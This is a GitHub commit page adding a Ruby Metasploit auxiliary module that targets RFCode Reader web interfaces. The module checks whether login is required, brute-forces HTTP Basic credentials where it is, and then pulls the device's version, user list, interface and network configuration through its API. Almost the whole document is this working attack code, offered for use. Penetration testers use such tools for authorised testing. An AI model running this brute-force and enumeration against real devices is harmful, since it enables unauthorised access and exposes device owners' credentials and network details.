Skip to content

Commit 6b8e6b3

Browse files
committed
Create rfcode_reader_enum.rb
Adding new aux - RFCode Reader Web interface Login Brute Force & Config Capture Utility
1 parent a157e65 commit 6b8e6b3

File tree

1 file changed

+193
-0
lines changed

1 file changed

+193
-0
lines changed
Lines changed: 193 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,193 @@
1+
##
2+
# This file is part of the Metasploit Framework and may be subject to
3+
# redistribution and commercial restrictions. Please see the Metasploit
4+
# web site for more information on licensing and terms of use.
5+
# http://metasploit.com/
6+
##
7+
8+
require 'msf/core'
9+
10+
class Metasploit3 < Msf::Auxiliary
11+
12+
include Msf::Exploit::Remote::HttpClient
13+
include Msf::Auxiliary::Report
14+
include Msf::Auxiliary::AuthBrute
15+
include Msf::Auxiliary::Scanner
16+
17+
def initialize(info={})
18+
super(update_info(info,
19+
'Name' => 'RFCode Reader Web interface Login Utility',
20+
'Description' => %{
21+
This module simply attempts to login to a RFCode Reader web interface. Please note that
22+
by default there is no authentication. In such a case, password brute force will not be performed.
23+
If there is authentication configured, the module will attempt to find valid login credentials and
24+
capture device information.
25+
},
26+
'Author' =>
27+
[
28+
'Karn Ganeshen <KarnGaneshen[at]gmail.com>'
29+
],
30+
'Version' => '1.0',
31+
'License' => MSF_LICENSE
32+
33+
))
34+
35+
register_options(
36+
[
37+
Opt::RPORT(80),
38+
OptString.new('STOP_ON_SUCCESS', [true, 'Stop guessing when a credential works for a host', true])
39+
], self.class)
40+
41+
end
42+
43+
#
44+
# Info-Only
45+
# Identify logged in user: /rfcode_reader/api/whoami.json?_dc=1369680704481
46+
# Capture list of users: /rfcode_reader/api/userlist.json?_dc=1370353972710
47+
# Interface configuration: /rfcode_reader/api/interfacestatus.json?_dc=1369678668067
48+
# Network configuration: /rfcode_reader/api/netconfigstatus.json?_dc=1369678669208
49+
#
50+
51+
def run_host(ip)
52+
if not is_app_rfreader?
53+
print_error("Application does not appear to be RFCode Reader. Module will not continue.")
54+
return
55+
end
56+
57+
print_status("Checking if authentication is required...")
58+
if not is_auth_required?
59+
print_warning("Application does not require authentication.")
60+
user = ''
61+
pass = ''
62+
63+
# Collect device platform & configuration info
64+
collect_info(user, pass)
65+
return
66+
end
67+
68+
print_status("Brute-forcing...")
69+
each_user_pass do |user, pass|
70+
do_login(user, pass)
71+
end
72+
end
73+
74+
#
75+
# What's the point of running this module if the app actually isn't RFCode Reader?
76+
#
77+
def is_app_rfreader?
78+
res = send_request_raw({'uri' => '/rfcode_reader/api/whoami.json?_dc=1369680704481'})
79+
return (res and res.code != 404)
80+
end
81+
82+
#
83+
# The default install of RFCode Reader app does not require authentication. Instead, it'll log the
84+
# user right in. If that's the case, no point to brute-force, either.
85+
#
86+
def is_auth_required?
87+
user = ''
88+
pass = ''
89+
90+
res = send_request_cgi(
91+
{
92+
'uri' => '/rfcode_reader/api/whoami.json?_dc=1369680704481',
93+
'method' => 'GET',
94+
'authorization' => basic_auth(user,pass)
95+
})
96+
97+
return (res and res.body =~ /{ }/) ? false : true
98+
end
99+
100+
#
101+
# Brute-force the login page
102+
#
103+
def do_login(user, pass)
104+
105+
vprint_status("Trying username:'#{user}' with password:'#{pass}'")
106+
begin
107+
res = send_request_cgi(
108+
{
109+
'uri' => '/rfcode_reader/api/whoami.json?_dc=1369680704481',
110+
'method' => 'GET',
111+
'authorization' => basic_auth(user,pass)
112+
})
113+
114+
if not res or res.code == 401
115+
vprint_error("FAILED LOGIN. '#{user}' : '#{pass}' with code #{res.code}")
116+
return :skip_pass
117+
else
118+
print_good("SUCCESSFUL LOGIN. '#{user}' : '#{pass}'")
119+
120+
collect_info(user, pass)
121+
122+
report_hash = {
123+
:host => datastore['RHOST'],
124+
:port => datastore['RPORT'],
125+
:sname => 'RFCode Reader',
126+
:user => user,
127+
:pass => pass,
128+
:active => true,
129+
:type => 'password'}
130+
131+
report_auth_info(report_hash)
132+
return :next_user
133+
end
134+
rescue ::Rex::ConnectionError, Errno::ECONNREFUSED, Errno::ETIMEDOUT
135+
print_error("HTTP Connection Failed, Aborting")
136+
return :abort
137+
end
138+
end
139+
140+
#
141+
# Collect target info
142+
#
143+
def collect_info(user, pass)
144+
145+
vprint_status("Collecting information from app as '#{user}':'#{pass}'...")
146+
begin
147+
148+
res = send_request_cgi(
149+
{
150+
'uri' => '/rfcode_reader/api/version.json?_dc=1370460180056',
151+
'method' => 'GET',
152+
'authorization' => basic_auth(user,pass)
153+
})
154+
155+
print_good("Collecting device platform info...")
156+
print_good(res.body)
157+
158+
res = send_request_cgi(
159+
{
160+
'uri' => '/rfcode_reader/api/userlist.json?_dc=1370353972710',
161+
'method' => 'GET',
162+
'authorization' => basic_auth(user,pass)
163+
})
164+
165+
print_good("Collecting user list...")
166+
print_good(res.body)
167+
168+
169+
res = send_request_cgi(
170+
{
171+
'uri' => '/rfcode_reader/api/interfacestatus.json?_dc=1369678668067',
172+
'method' => 'GET',
173+
'authorization' => basic_auth(user,pass)
174+
})
175+
176+
print_good("Collecting interface info…")
177+
print_good(res.body)
178+
179+
res = send_request_cgi(
180+
{
181+
'uri' => '/rfcode_reader/api/netconfigstatus.json?_dc=1369678669208',
182+
'method' => 'GET',
183+
'authorization' => basic_auth(user,pass)
184+
})
185+
186+
print_good("Collecting network configuration…")
187+
print_good(res.body)
188+
189+
190+
return
191+
end
192+
end
193+
end

0 commit comments

Comments
 (0)